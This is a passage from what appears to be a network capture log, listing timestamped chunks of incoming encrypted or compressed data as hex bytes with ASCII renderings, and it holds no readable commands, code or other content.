2021-12-19 20:13:23 UTC	6	IN	Data Raw: b3 ed d1 67 5c 4a e6 b8 f1 11 f2 24 71 25 25 f1 14 44 c9 14 68 ec b6 58 37 58 02 f4 be 8f 04 f3 f0 54 2b 5c b8 35 bb af 36 9d f6 e7 4b 45 43 9e 9e 0e 62 00 10 e0 fc 45 b1 11 3e 5a f0 16 9d 66 b6 ad 3b 96 23 f8 a1 b7 8f 4e 92 97 09 e4 90 24 17 a3 de 9e 97 29 a7 46 ef a6 f5 9b a6 f5 2c b1 5d c9 c7 00 2a 88 c4 88 c4 fc 99 1a 62 6a c5 26 fd b7 20 16 df 2a 3e 7d 79 5a 60 10 ae 3d 14 aa 9a 41 61 9c 26 55 86 2d e1 c8 26 76 7d e3 46 a2 db b4 17 fe 09 5b f1 e0 eb 5a 23 33 0d 06 1a e3 20 1c f2 1f 8b d3 14 bc c9 a3 a5 0e 7d f3 06 93 29 69 bd 2d b2 30 56 5b 2b c0 53 e2 ea 89 02 13 ad 9e f8 ea bb ac 33 9c 06 22 62 98 e5 67 23 99 f0 a5 e6 ad c8 d1 b2 a8 cb 2a 86 de a3 70 c2 3e 63 85 3f 15 c7 d7 22 87 0e 21 bb 71 90 79 e2 2a eb 4b 3b 6d 2d e0 36 3c 90 e7 b3 96 09 da f4 Data Ascii: g\J$q%%DhX7XT+\56KECbE>Zf;#N$)F,]bj& >}yZ`=Aa&U-&v}F[Z#3 })i-0V[+S3"bg#p>c?"!qyK;m-6<
2021-12-19 20:13:23 UTC	10	IN	Data Raw: 55 64 21 b3 9c d4 ea cc 69 2c 1c c6 eb bc 2c 6d ac c2 36 2d b3 fb 58 ad a4 4e 66 25 d5 24 fa 00 96 da 3c c4 03 5e 66 2c 87 f2 8f fe 84 f0 09 bc 5d ce 43 50 3f a7 52 6b 97 4d 51 72 8a e0 35 6e 4e f1 a2 64 b6 78 d0 34 78 63 99 1f 31 61 01 c3 d4 08 8c c9 2e 1c 37 31 ee 28 34 6d 35 f4 1f 0f 64 b0 06 3b cd aa 0b 20 c7 73 cb cf f5 64 f6 66 8e fd b3 8e 0b 08 06 19 5f 87 28 f8 23 1d 26 80 ec ce 86 09 e7 3c 92 04 65 11 ae 5d fc 0a 17 dd 66 15 34 c9 9d df 15 06 60 6b 8d 13 08 bf f8 16 21 eb ac 93 4b cb 29 c7 8b da a8 86 1b a2 92 78 58 72 21 c5 35 5b 95 b9 b5 1e 0a e5 42 70 51 3c 02 6a 4c 03 06 3a fe 9f 0b 25 e4 de fe b2 4e 5f 78 ea b0 94 96 40 ed d8 46 57 d6 5c 2b e7 84 4c 33 44 77 13 a7 41 bc a6 f2 05 5a 47 89 24 21 eb 3d 06 cb af 29 bc 2c 5c 70 d7 63 ac c5 53 2f Data Ascii: Ud!i,,m6-XNf%$<^f,]CP?RkMQr5nNdx4xc1a.71(4m5d; sdf_(#&<e]f4`k!K)xXr!5[BpQ<jL:%N_x@FW\+L3DwAZG$!=),\pcS/
2021-12-19 20:13:23 UTC	13	IN	Data Raw: d2 a9 d0 a7 fb d3 a8 b9 26 59 31 ef 6b 0c 48 c5 fa 50 91 14 c1 63 c8 8d ea e3 f9 52 8c c0 fc d6 6b fc be a9 18 0b 2b 57 66 31 fd 2f 93 46 ae 78 11 b2 db 16 a5 fe 55 43 15 e1 e7 22 59 f1 7d 6c b3 8e 55 69 dd 2d d4 4b aa aa f5 02 43 37 6e 36 53 2c d1 d5 5f 70 6a c3 38 cb 50 3c c1 ac b5 fe e7 33 a6 dd a0 2f 18 4c 69 06 50 ea 54 ea c5 86 cb b1 38 a3 eb 6d 1e 5d d7 3b 8a 4e 65 e3 cc 5e 51 82 ea dc 8a a2 1b d9 0a 01 bc 08 15 e5 34 0b 60 2d f6 d1 bf e2 10 81 b0 32 62 72 fd b3 bc 80 c0 00 a6 0b 73 83 0a ae 5b d7 1e 05 fe 5b 1d f5 06 01 43 13 e2 10 7d 28 0d e5 d2 c4 c2 49 cd 7b 32 54 42 d5 0f a2 1e 3f 9d 48 5b 09 5e a6 91 bd c1 e3 a4 5b 24 f2 f2 03 e7 e9 43 af e5 fb 94 71 ad 4d 17 2c 61 1f 6e 25 e8 bf 23 72 25 a9 d1 43 9d 9d 16 87 a5 ee 0f 00 e3 c2 9b d0 95 eb 59 Data Ascii: &Y1kHPcRk+Wf1/FxUC"Y}lUi-KC7n6S,_pj8P<3/LiPT8m];Ne^Q4`-2brs[[C}(I{2TB?H[^[$CqM,an%#r%CY
2021-12-19 20:13:23 UTC	17	IN	Data Raw: ec ea 64 76 61 c2 5a 83 1b 4f a4 84 9c 23 15 9d 84 51 2c 11 3d 70 6a 00 dc 46 27 6d 0d a2 f6 f2 c5 16 2f 0f c2 b7 7b 7d 68 b5 01 c8 59 29 3a b5 2d 55 c0 ae 99 c1 e5 b1 88 a9 3b 60 5c 51 2c 9f 98 cc 44 2e 86 1d 11 ad 68 43 31 2d 6f d3 17 02 10 a7 15 e9 8f 22 72 d8 32 40 53 1c fe c0 0d ee dc 24 ef b8 66 01 a0 4e f5 3a b5 2f 8c 49 44 91 3f 15 f0 24 9c eb 95 98 af 5f 50 a3 ea 00 63 fb 0f ab ec ad 70 eb f7 5c 08 39 68 91 25 ec 80 5f 1a 51 97 e2 ab 2c a9 de d2 8e 29 d5 d7 ff 16 f1 44 1d 82 02 83 73 62 83 65 5b ee 5f bb 5f 07 94 dd 6e 02 52 0c 57 f8 c9 55 9b d2 7f a6 d1 0e 6c 4d 50 ea 2a 82 33 4b 49 8d 5e 65 f1 86 7d ec 8d 4e 25 18 78 fb 35 52 b5 9b b0 3a 65 b1 1c cb c9 ef 5b 01 27 2a fc 99 e7 c6 01 0c 84 0e 6d db 72 0b 32 f3 c3 e3 9e 81 b9 19 9c 9a 5b fe d5 74 Data Ascii: dvaZO#Q,=pjF'm/{}hY):-U;`\Q,D.hC1-o"r2@S$fN:/ID?$_Pcp\9h%_Q,)Dsbe[__nRWUlMP3KI^e}N%x5R:e['mr2[t
2021-12-19 20:13:23 UTC	18	IN	Data Raw: 5c e6 58 be 0e 8f 02 ec 60 28 37 12 c9 3a 12 f0 56 26 96 e9 44 11 90 3f bf ce 78 06 bf 1c c6 54 8e 37 f5 fb ca 21 14 94 83 d9 8a e2 f2 5b 4c 37 d4 41 e3 c4 c5 7e 60 07 39 c2 4d 81 b7 a4 8b 91 87 8d b9 e4 a7 5c 3b fa 61 b5 6c d1 42 bf fe 1c 07 75 cf ed 67 bb 0b 93 85 ca e6 26 4e 5b db 34 12 cb 4a bd cd 8c d9 47 ab 02 a0 c1 1b e4 dd d9 74 c8 13 91 bf 69 de 3b 31 86 42 cb 4f e3 d7 49 aa 2e db b4 e4 d4 96 5d b6 7c e5 a4 9b 90 9c bf 2f c5 58 4a 05 04 c1 60 86 ca 86 75 48 40 4b bb 2c 02 02 48 df d5 52 6a 3e 4c b0 df b2 64 83 6e 72 91 2a 25 41 f4 02 ab 8d 94 d7 16 1c 70 b4 b6 d8 54 b4 96 78 f9 2c a8 41 87 67 cc c1 9c 2f e8 ad 92 d7 fe 92 f3 7a fb 48 03 38 3f 22 1e e7 7e d9 07 cd 47 8e 2e 76 b0 78 2e c2 1a ad 1d 15 4a 92 44 fd cf 71 3d 8a 6c c1 fa a9 57 60 6f 34 Data Ascii: \X`(7:V&D?xT7![L7A~`9M\;alBug&N[4JGti;1BOI.]\|/XJ`uH@K,HRj>Ldnr*%ApTx,Ag/zH8?"~G.vx.JDq=lW`o4
2021-12-19 20:13:23 UTC	19	IN	Data Raw: a2 6e 70 a7 eb e2 bd fe ab 72 b5 81 7f 7a 45 ec 86 24 70 6c 1a a7 a7 4c 87 77 ec 23 dd 90 b7 3b c4 ee a1 b5 25 b5 c0 75 bc 8b 4d a3 f0 46 8d 9d 76 85 9f 59 0a 0c 84 d1 cc 9d 0e a8 11 4e 26 bc 7d 9b 66 0b c9 94 f5 03 bf 57 c5 4c e3 d6 30 a7 13 29 53 b9 48 94 ea 1e a3 37 71 a2 f0 31 99 26 ef 42 65 6f cd e2 8e b4 be 17 6c d1 13 94 32 89 5d f8 bd f9 53 cc 8a d5 ed 1f ba a4 ae a5 dd 95 7d 12 db 4c 62 55 2d 7f 1b 78 b4 66 ae f8 76 16 06 e4 e8 3d 76 17 ee bf 5b 73 94 5e 8e bd 93 31 fd e3 f9 42 b5 35 d4 d8 fa 3b c5 b6 39 32 09 a8 79 e1 ed ba 20 bc e6 e9 5f a6 d2 98 39 1b 8d d3 de 8e 0d f8 23 9d 24 bf e6 81 f9 6e 1a ee 0a 5f 8e 17 62 1d f8 89 2a cd 5d 8e b5 2a 15 27 15 6c 5b 18 47 db f8 1e 1f 3c 4a f7 ac 93 fc 42 17 c2 34 9b 09 86 1e a2 c2 2b f8 24 a9 72 9c 06 cc Data Ascii: nprzE$plLw#;%uMFvYN&}fWL0)SH7q1&Beol2]S}LbU-xfv=v[s^1B5;92y _9#$n_b]'l[G<JB4+$r
2021-12-19 20:13:23 UTC	21	IN	Data Raw: b7 c6 8c 5f 3e e4 8d e2 62 b8 3a 7e 2c 1f 9d a2 13 a5 3c 88 c7 d8 67 75 f0 94 17 6f 29 98 9f 96 ef 2c 80 24 f6 ed 12 f3 1d a7 e1 5b 4c 15 74 2e 03 f6 63 c6 cf 6f 91 a5 9d a8 ce 74 f2 c4 9d 9a ce a7 8a 86 61 25 f8 da 3b a4 ae c8 48 be 6d c6 62 ca 04 c8 f5 fc 4e b5 41 ed 33 fa e9 f7 d0 c9 10 fe 7f f1 35 c7 a8 59 72 e4 53 d7 fc 98 f1 7c ae ce 87 01 d5 09 e1 55 71 0d 0b cb d1 66 24 40 c5 8d e1 6e 20 d8 b7 0e 61 3a cd 52 61 73 b7 5b 47 6d 63 0d a9 27 7c 0d 8e fe 66 0f 2e 3e 26 8d 21 3b ed 27 11 fb 32 de 73 4b 43 8f 00 c9 61 ed 5c 77 6b 01 8e ee 99 1b ba 61 ea e3 78 f2 85 5f 01 c9 c3 1b a2 5f c6 82 8f 08 99 7c 95 31 97 f1 cb 49 57 86 4b 48 08 44 8a 68 6e 55 29 27 f5 4f e9 46 d9 da dc a6 51 c4 83 89 2c f5 ce 1c 5e 32 35 d3 66 68 0e c7 b7 2a 13 2e 38 fd 0a 86 bc Data Ascii: _>b:~,<guo),$[Lt.cota%;HmbNA35YrS\|Uqf$@n a:Ras[Gmc'\|f.>&!;'2sKCa\wkax__\|1IWKHDhnU)'OFQ,^25fh*.8
2021-12-19 20:13:23 UTC	22	IN	Data Raw: 5c d8 70 cc 0a ae 1b 76 a7 57 21 8d d7 ca 1d 77 d3 e4 c1 31 7a 49 f4 51 6a 82 ed 7c 56 61 f7 39 e0 0b 01 ec ba 8a 13 b0 e5 fb 92 91 0d b0 95 ed 40 60 0e 57 d8 e2 23 92 ab 34 b6 b9 01 57 6a 99 ce ad 3f 43 cb a5 f4 eb dc fa 33 02 5c d5 c8 5f 06 ae f5 9a d1 0b ff d0 10 8b ed c6 cb e3 c8 cf 1f a2 8e 86 ed 6c 06 31 88 f5 2b ea f9 3d 4b 17 a8 ce 77 8d ea 20 20 02 e4 90 57 f9 63 3f 6c 4e d4 37 87 88 93 c0 79 3e 01 7a 1f 01 0f c5 5d 6d 90 72 bf df 4e 26 10 1f 63 06 76 08 87 22 36 db 47 72 a1 d1 1c 22 c0 b1 b1 b2 78 21 4e 7d 9f 02 10 c7 15 4e 98 cb 0e 2e 86 1d 52 5e 10 9b f5 d2 19 7f 99 54 2c 6d 42 ad b6 b2 05 1d 36 96 c1 9c 14 02 69 88 57 ec 61 91 9f 99 d5 14 78 4b a0 64 83 4d 0b 8b 7b 2c c1 b7 0a 97 ac 14 ec ec 5d 01 92 3c 77 02 64 a1 36 d1 48 89 6a da d6 fa 5d Data Ascii: \pvW!w1zIQj\|Va9@`W#4Wj?C3\_l1+=Kw Wc?lN7y>z]mrN&cv"6Gr"x!N}N.R^T,mB6iWaxKdM{,]<wd6Hj]
2021-12-19 20:13:23 UTC	23	IN	Data Raw: 24 82 90 6f df 2a 9f cc ff bb 9e 51 03 f6 43 3e 00 7e 65 8b 35 d2 bd df e5 63 2b 08 a2 d0 3b ec bb c9 02 9e e8 62 10 34 58 53 cc 5f ef 56 bc 67 1a 8c d3 c6 ae fe bf f0 0b 84 39 44 48 ee 7e ed 71 f9 97 c6 ea c0 c3 9e 82 2b ca d1 e6 de 44 42 50 2c 8a 51 ba 0b 3b 09 d2 d0 52 b5 b0 18 86 fa cf 9b f4 9f 3b e6 79 51 cd 2b fd 66 91 61 49 82 43 09 ee b4 58 c5 90 36 c4 40 cd b0 5a 1e ae da 69 8f e4 d3 e2 70 02 fb 94 ab b4 ee 78 66 45 65 a9 17 2a 46 86 73 80 37 d8 ff d2 0b e9 c7 0e c6 65 dd 56 41 a4 4f e1 5f 58 1e 38 e0 10 82 d7 31 8a 80 94 43 b0 3b 7b 32 54 61 5b 5a 0c 4d 69 ca 4b 04 b7 51 38 19 53 5b 8c 43 ed 62 c1 fd 42 78 33 01 f4 42 94 5b 30 6c bc d5 e3 15 7e 55 d0 72 d5 cb 1d 3f a9 d1 37 c6 2e 94 29 c5 9b 4d db f7 9c 0c e9 f1 eb 2d 70 34 ed 6b ff 27 9d 68 43 Data Ascii: $oQC>~e5c+;b4XS_Vg9DH~q+DBP,Q;R;yQ+faICX6@ZipxfEeFs7eVAO_X81C;{2Ta[ZMiKQ8S[CbBx3B[0l~Ur?7.)M-p4k'hC
2021-12-19 20:13:23 UTC	24	IN	Data Raw: 93 40 d5 5f fa 4d a8 4a 17 35 e2 3d 4a d5 d9 44 2c 38 4b 23 13 3f 74 ee 0f 3c 20 e5 ac 93 0c 01 b4 9b 62 7b 60 96 76 84 c4 38 ae b0 c9 ed cc 2f ba d1 a7 4f 42 14 67 2b 51 46 72 63 fb 5c 4a d3 7d 9a 1f 4d b7 88 be b2 c2 2a b6 71 c6 b7 b7 ce 5a 40 5c 94 68 dc 71 ed 8b 7f 31 8c 2c b0 7a 02 15 65 1b 23 03 cc 7d ea 25 49 01 f2 08 d4 07 10 61 1e d8 d4 d5 ec 18 1b dc 04 0c cf 70 3f eb 68 51 bf b8 09 d0 2c 70 1a 11 60 1d 01 fe e4 8d b2 6e b7 64 ae 8f 02 31 e4 4c 51 41 77 86 63 88 8a 5f bb 18 be 6d 2c ab fb 66 54 10 68 b1 c4 db 3c 02 6a 82 39 c3 9a d0 d4 d6 26 9f f1 ab c9 ee 0d c3 b1 7e 40 06 12 50 94 08 8c 51 0d ac e0 97 cc fc 1a cd f7 3c e9 af d7 a1 47 1d ff e5 7f 93 ed bf f9 c9 80 28 19 3b 92 dc 2a 28 c1 c9 bc f3 ab e8 d9 f3 99 04 ae 04 dd 01 a6 51 82 f1 0b 01 Data Ascii: @_MJ5=JD,8K#?t< b{`v8/OBg+QFrc\J}MqZ@\hq1,ze#}%Iap?hQ,p`nd1LQAwc_m,fTh<j9&~@PQ<G(;(Q
2021-12-19 20:13:23 UTC	26	IN	Data Raw: 43 31 c3 c2 99 29 f2 d9 95 da 0d 33 80 75 aa 5a 23 51 75 ac 7e 2c 6d ae da c2 0d 67 4d 69 26 84 c8 a1 97 87 67 2f 6b b3 72 80 7b c2 50 17 b3 e7 37 9b 93 55 f6 6f 70 90 6b e8 b1 ed be 09 c1 6b 62 47 2a 97 85 10 7d 28 ce 32 e4 e0 05 d9 5e 1e 73 20 40 a2 df 3f 6b 4b f8 b1 16 4b da 3e 97 de e0 1f d9 5f 24 75 cd 52 76 61 41 f4 26 39 0e 38 80 fd 25 49 a7 aa 49 73 4b d5 23 9a cb 11 4b c8 52 04 62 86 fc f6 7c 87 73 3d 64 2f b0 ac c3 00 c7 13 4c 71 aa 0a f4 f8 2b 0d f1 95 e5 14 b3 db f5 6e f3 61 e3 fe a7 6d b1 42 98 2b 9d 90 e2 8e 67 c0 04 3a 7b 86 98 7a 6c d8 00 a2 54 0c e3 9d 0d 9d 59 91 41 ea 7d 0d df 8d 0a fc 8f 5d e1 d8 2d f1 bb 65 07 3e de 83 a6 af 2a e6 6d 4e 6e e9 00 8a 3b bb cb 8d c2 36 32 2d 44 cb 68 19 52 48 b5 7a 1c c6 b0 33 c0 f4 c9 d2 7c d4 1c 1f 91 Data Ascii: C1)3uZ#Qu~,mgMi&g/kr{P7UopkkbG}(2^s @?kKK>_$uRvaA&98%IIsK#KRb\|s=d/Lq+namB+g:{zlTYA}]-e>mNn;62-DhRHz3\|
2021-12-19 20:13:23 UTC	27	IN	Data Raw: fe 22 eb 4b 3c 24 d4 57 88 a7 2a ce 5f 5b 48 c5 f5 5c 49 08 33 26 50 d3 d6 ae 5f 2d a5 79 df 98 58 e9 14 a7 74 15 cf ba 17 d1 3e aa 5d 54 9f c6 da f6 58 e2 80 3d da 03 b7 4f ab 63 eb 16 20 74 c2 9f a3 ef 12 c0 3a 0b f7 05 38 d7 95 f7 92 61 d1 89 4b c6 06 54 36 07 ce 43 75 ac 57 c8 c2 55 78 cb a6 44 15 f2 4a 84 ba 2a 7a e0 b7 7f 0a da 74 6b 03 8e 03 8f d2 58 6e b3 8d a1 86 bb 50 b0 bf 18 99 be 3f bd 40 2a 06 b5 ad 71 8a a7 4a fe 17 74 26 92 9c 49 86 f6 7e 05 28 cb ae 19 da 22 1d df b9 2f bb 36 c0 38 61 fa f0 be 00 1f 9a 1b fe d5 bf 74 0b 75 68 bb eb 7b f1 e5 e4 98 1b 45 56 41 cd ea 4a c4 58 8f b0 dc 5a c4 42 82 f8 c2 11 12 77 3b 75 dc f6 e9 2f 29 0d 3e f7 1b 53 2f 55 0d f6 0c a6 eb 55 52 d4 94 7c df ae 29 91 c9 da d2 0c bf 6c ac 7f 48 49 83 de 05 98 6e 72 Data Ascii: "K<$W_[H\I3&P_-yXt>]TX=Oc t:8aKT6CuWUxDJztkXnP?@*qJt&I~("/68atuh{EVAJXZBw;u/)>S/UUR\|)lHInr
2021-12-19 20:13:23 UTC	28	IN	Data Raw: e0 c8 9e aa 1f 79 35 30 df 00 c1 95 2c 15 20 c2 e9 32 d5 23 9a b7 56 2e bc e1 9a ee 0d bb 84 0e e8 0c 37 64 2f e5 60 4a 1e 84 35 68 54 44 94 b3 7c 17 17 43 93 d1 7b a5 5d 92 0a 7a 41 68 6b 2a 7c 3b d3 11 e3 93 4b cd e3 89 ae 98 d1 fa 0b 0e 90 d6 ff e0 2e 28 70 c5 da b1 17 1d 42 58 30 48 49 3d ff e4 9b 43 bf c6 5d 92 7a b9 65 07 87 c2 11 aa 05 26 d4 1e b1 ee 3a 6f ef 6c bb 23 58 79 a7 a9 24 6a c6 c8 6c fb 7e 89 74 78 4f a0 17 71 f2 e8 be b7 e3 85 92 9f 60 5b b1 25 45 79 64 0e a4 be d5 66 06 9d 46 3b 64 a8 8e 9a 05 0d e2 88 5e ac 3b bc 2f ef cc 92 96 7f 12 6b b8 52 cf c2 4f b1 f1 61 ef 22 76 6e 1c 0c 3d bb 55 80 a9 11 cb 14 f3 b4 86 11 97 da 79 ae 5f 64 35 3b c6 d5 8f ad b2 ee 72 9a dc fc c8 02 7b 28 d9 86 e2 5f 12 df ba 5d 88 80 1a d6 10 8d e7 ee 04 de 62 Data Ascii: y50, 2#V.7d/`J5hTD\|C{]zAhk*\|;K.(pBX0HI=C]ze&:ol#Xy$jl~txOq`[%EydfF;d^;/kROa"vn=Uy_d5;r{(_]b
2021-12-19 20:13:23 UTC	29	IN	Data Raw: e1 66 af 13 e8 49 3c 81 1f f5 e9 0c 17 37 b5 68 af e5 03 8b 2f e4 65 8b d3 a6 2c 8e 97 4a 17 57 28 06 a1 c6 11 ab 58 c1 49 d9 f9 31 5c 2d ff 04 0f 13 05 5c 61 71 f2 53 40 11 4b 4f 4e 56 56 d4 62 eb 70 8f 13 4d 69 96 21 f8 49 d1 41 b1 62 1a b3 e7 78 1e 65 5c 21 5d 7e f9 63 b9 50 4d 0c c4 f8 ae a7 54 00 0a c7 00 2a 77 3b 77 3b bc 99 1a 62 2b 87 65 b9 f2 66 51 97 63 74 36 35 17 2e 5f fe 6d 46 f9 74 04 37 c5 61 b8 d5 81 a2 13 43 5f d6 a5 be 5b e5 b7 12 e0 47 44 f3 fe fe 5b 36 2b 5b 1c 17 e9 2e 0c a1 48 98 95 54 e4 de ee f2 41 37 81 26 c4 40 52 05 f3 3c fe 82 3f 7d 97 60 2b 63 c4 f2 9a f8 66 71 af 47 27 76 60 ee 7e ac 67 1a 54 e3 cc 98 1d 8d ed c8 b5 4d 98 af a3 a6 53 e6 80 78 ee 08 c5 3f fd fa 1d dd 78 85 64 47 99 d9 b5 1d d5 60 bb b0 28 dd 08 09 f0 6f 18 3a Data Ascii: fI<7h/e,JW(XI1\-\aqS@KONVVbpMi!IAbxe\!]~cPMT*w;w;b+efQct65._mFt7aC_[GD[6+[.HTA7&@R<?}`+cfqG'v`~gTMSx?xdG`(o:
2021-12-19 20:13:23 UTC	31	IN	Data Raw: 99 48 99 4f 44 9a ef ee 77 12 3d b6 1d cf 43 f9 28 96 6c ef 6c f6 cb aa ab 3b 56 0b 21 da 1c 31 3b 41 d0 6a 1c b3 b0 16 af f3 a8 be 3a 98 79 7a 91 fc a4 01 e6 ea dd f9 f1 0c 55 64 39 0a c6 5a 66 fb 57 3c 65 93 0f 81 88 2c a1 5e bc 5c bc 22 56 0c 82 99 94 6f 8a 4b c6 19 4e 88 61 9f 76 8f 2a 57 04 0a 1a a7 33 89 11 30 14 64 64 7a d1 e3 c8 a7 e6 3e 03 d8 6e 2e 84 df fc e3 55 6d 1a aa 46 df 36 30 be 59 b8 47 e0 ed 3a 81 69 ee 09 3a 65 67 69 99 d5 40 2c ba a7 79 06 38 3e 76 6c bd 8d b9 da f3 ef 5d 10 e0 af 22 12 44 45 92 6e 07 ea 79 a3 76 be 24 c4 25 f7 6c d0 33 53 6c d7 13 56 3d c4 96 ac 7e 93 f7 66 f3 6d 9b 41 b1 15 d0 ba 4f ab 9f d4 67 c1 9d 7f 53 72 62 38 f6 b4 cf c3 0f a6 ae 25 36 b9 b2 a6 d5 79 60 a3 1a 1d 23 a5 c3 e5 7c 62 1c 2b b4 2d 6e 50 17 01 10 96 Data Ascii: HODw=C(ll;V!1;Aj:yzUd9ZfW<e,^\"VoKNav*W30ddz>n.UmF60YG:i:egi@,y8>vl]"DEnyv$%l3SlV=~fmAOgSrb8%6y`#\|b+-nP
2021-12-19 20:13:23 UTC	32	IN	Data Raw: 50 a1 cd 3c 60 d8 35 66 e5 e9 a2 ee ed bc 3c f3 9d 9a d2 d6 d4 b3 a5 9f 9b fb c4 9f ef d4 b9 77 5e c6 1e 04 38 45 ab 59 2b e6 49 1d 7b 35 dd 7e 8d 29 a0 c6 77 64 af 88 a1 d2 58 af ca 0d 65 f4 f3 bb c9 be a6 a9 d6 46 2f ec 3b 25 c4 40 07 66 02 78 c5 8d af c2 63 e9 1d 15 62 e9 4d f6 15 1d b7 79 a8 33 0c 53 a9 8e 1b 21 93 70 cf 79 e8 12 24 9d 29 3b ed 37 a1 f3 d6 28 35 3e d6 1f 41 c0 ea 4c 92 da 6f 7a e5 44 8e 1b 3c 16 c2 87 8f c4 92 1e 20 63 54 3e 92 f3 96 6d 25 c4 76 e7 3e 79 d2 d9 78 7d 66 91 1d cb 0b bb 15 1a 66 65 3d 28 2e 5c 82 b0 fe 59 6a f6 51 d4 87 89 69 e1 ab 4c 64 32 0d 5b bf ed d5 b3 73 62 52 5b eb 42 0b 7d c8 db 27 b7 c0 f2 68 7a 40 74 35 a6 7c a4 5b 81 ce 2a 88 ba 6b c3 f6 6d 36 9d fe 50 bc 4f b9 2e ca df 71 24 5e 05 db c0 62 49 99 ce 01 03 f4 Data Ascii: P<`5f<w^8EY+I{5~)wdXeF/;%@fxcbMy3S!py$);7(5>ALozD< cT>m%v>yx}ffe=(.\YjQiLd2[sbR[B}'hz@t5\|[*km6PO.q$^bI
2021-12-19 20:13:23 UTC	33	IN	Data Raw: e8 4d 40 48 0c 64 03 d1 e3 ca f2 6d d2 30 11 3f 7f 86 d8 fa e7 57 b0 b7 a8 f3 a0 fc f1 9e 3a bd e0 2b 2b b6 6f 98 75 7f f1 c0 58 07 ed ec 10 e1 20 58 86 65 26 0d 4e 7b 8f e8 fe 2a ff 2a 1d 71 0e 33 e6 f1 eb ca 04 eb 64 f5 86 71 ae 73 fb 83 af 0f d4 df ff 52 2c 04 29 90 ce b6 0b f1 0c 4a b5 6d 42 ba 75 54 5e 2e 38 30 3e d4 d1 6a 9f 09 60 8b 23 0c b0 0b c9 9b 62 11 04 11 e6 b1 88 a9 e7 25 11 7e 9e 96 1c a2 42 2a a2 77 94 d0 df 92 b5 d2 1b b8 17 51 bc 73 02 15 4e 38 c8 25 cc 01 c5 d9 9f c6 5d 20 1c 97 9b 58 d6 9c f1 12 01 4f a0 a4 c2 c6 01 45 ee a7 2d 75 3f 3a ac 6f d3 13 a0 6c 60 9c b3 76 8f 85 09 e5 48 10 ed 8f 61 f9 a5 b2 ae e2 0b cb 37 d8 bd e3 e1 b0 37 2b d0 04 90 5b a7 64 94 fa 87 d6 82 fd 89 81 ef c7 18 a7 87 0d 01 53 c8 df e0 c6 4c ed a7 c1 d7 dd a2 Data Ascii: M@Hdm0?W:++ouX Xe&N{*q3dqsR,)JmBuT^.80>j`#b%~BwQsN8%] XOE-u?:ol`vHa77+[dSL
2021-12-19 20:13:23 UTC	34	IN	Data Raw: 44 e4 fc ba 06 a3 c2 9c 6f 19 5b ce 78 ea 6c 85 6c d1 cb a1 ab 32 56 09 21 d9 1c 35 29 4e d2 a0 59 3f e0 de db 25 e9 be b1 a6 86 aa 12 57 a5 55 26 ec 55 e8 0e 68 95 70 51 5a bb 5f 66 c3 a8 41 01 73 2f 62 f5 a1 a1 45 9b a2 f9 bd 06 e1 c7 19 c4 59 8a a9 a6 da 0f f1 ea ef 89 2b af f8 71 6b dc 90 cc e8 fa 4a 97 71 94 02 ca 23 88 7a 28 2d 03 d1 65 26 8c ea 24 a2 6e 32 30 63 03 a8 40 04 bb d9 39 e6 5f 12 9d 97 20 38 7f e5 66 3c 54 23 d5 a3 a8 78 fa ba 63 8e 86 dc 18 da d6 c5 35 e7 2f d4 bd f6 9c d8 3d 7f f4 2a e8 65 1c 1f c0 ad d2 6b 7a ae 69 5d 9a ee de 29 d7 91 84 c2 51 1f 83 86 74 a2 f8 78 c4 73 4a b1 b4 1c f5 7b 5f 42 eb 96 c7 1e 61 57 d3 16 8a 48 c1 b4 4e a5 9a a6 9f 36 fe c6 df e6 46 40 27 45 35 8b 2e e2 e2 a4 3f 95 0b 87 12 92 fd 6c 77 2c a5 07 f9 2b b7 Data Ascii: Do[xll2V!5)NY?%WU&UhpQZ_fAs/bEY+qkJq#z(-e&$n20c@9_ 8f<T#xc5/=*ekzi])QtxsJ{_BaWHN6F@'E5.?lw,+
2021-12-19 20:13:23 UTC	35	IN	Data Raw: 3f 3b 03 aa da 37 02 2a ab bd b7 44 e9 ef 4e b7 5d f4 17 98 9b fb c0 ac ae ae 11 61 7a 5d 19 70 1f 78 08 e0 7b b0 49 83 ca 04 ce 96 48 92 d4 7c 37 0c ef 03 5e a6 3e 97 1b 06 38 78 cf 10 5e 9e 6a 6d 11 8a 6a 93 d4 de 4f 12 0f 66 ba 04 c5 8d d4 a3 07 12 e2 61 dc fa 98 ff 92 10 7f 00 53 cc 24 8a e5 23 98 6e 32 db 12 a2 b5 0e 28 73 2e 4d 10 5b ed c7 de 28 25 3a b5 31 91 d7 60 7c 28 dd 3f 72 e6 fa 71 1b 2c 1a a1 b9 53 d3 08 96 1f c9 84 34 20 f2 96 82 8f 0c 99 3c 02 1a 41 8a 3c 3d 21 c6 59 f7 f7 30 34 86 6e 4a e5 c0 1f b9 fe 32 b2 f5 d9 ef da 0a 2a fa a7 4f 67 2a 94 76 0d 2f df a8 c9 86 34 62 42 5f 88 2c e1 6a 12 63 00 c5 3d c2 ff b0 05 07 88 70 35 09 88 e2 13 ba bc 04 58 dc ba 69 ce fe d4 6c c8 e2 02 93 37 ef cb 2f 0e 8d d9 7e 9d 49 14 b3 51 2f d1 53 74 d1 43 Data Ascii: ?;7DN]az]px{IH\|7^>8x^jmjOfaS$#n2(s.M[(%:1`\|(?rq,S4 <A<=!Y04nJ2Og*v/4bB_,jc=p5Xil7/~IQ/StC
2021-12-19 20:13:23 UTC	37	IN	Data Raw: b4 dc cb 90 e3 43 a7 95 59 a2 31 3e 7f d5 66 67 04 f9 c4 f5 9f cb 62 05 7b be c9 bd a5 84 ec 5e 7e b1 3d 36 e5 72 6b 1e ae 6b f8 a8 c8 5f f2 7c e6 87 89 93 de f1 b7 2a 2b 57 99 30 4b 17 56 b8 37 3e b8 4d 21 ea 79 a3 39 b0 24 c4 16 c7 1c 9e 14 d8 39 c7 4a 7c f2 3a 1f e9 6e 60 14 6d 87 16 bf e8 f0 15 5b 10 c2 d4 80 b5 96 4a 5b 7f 6c c4 9d c7 b1 11 f7 0f 5a c1 70 1a 55 6c 8a a7 d5 86 fd 17 21 b7 34 96 52 d5 d5 5b 97 7e 4c 59 89 84 9d 44 ec c4 07 a3 59 0d bd 02 fb c3 01 56 41 3a f2 5a 17 2b 64 a7 b7 ea 63 e9 40 f6 7c 6c 83 4d 44 9b c3 a7 bb 15 d6 68 53 78 33 2e a7 16 27 02 40 bc 8c e6 bd d6 3c 7d e5 de ea 3a f4 bf 18 1d f4 f8 c6 40 a3 a3 6a 0d 46 6d bd b7 12 9f a3 07 6e a7 bb e2 c5 ea ca d3 62 08 cf a3 5c 14 9e 79 06 54 de ab 3c fa 0f c6 c4 ea 08 10 1f d6 77 Data Ascii: 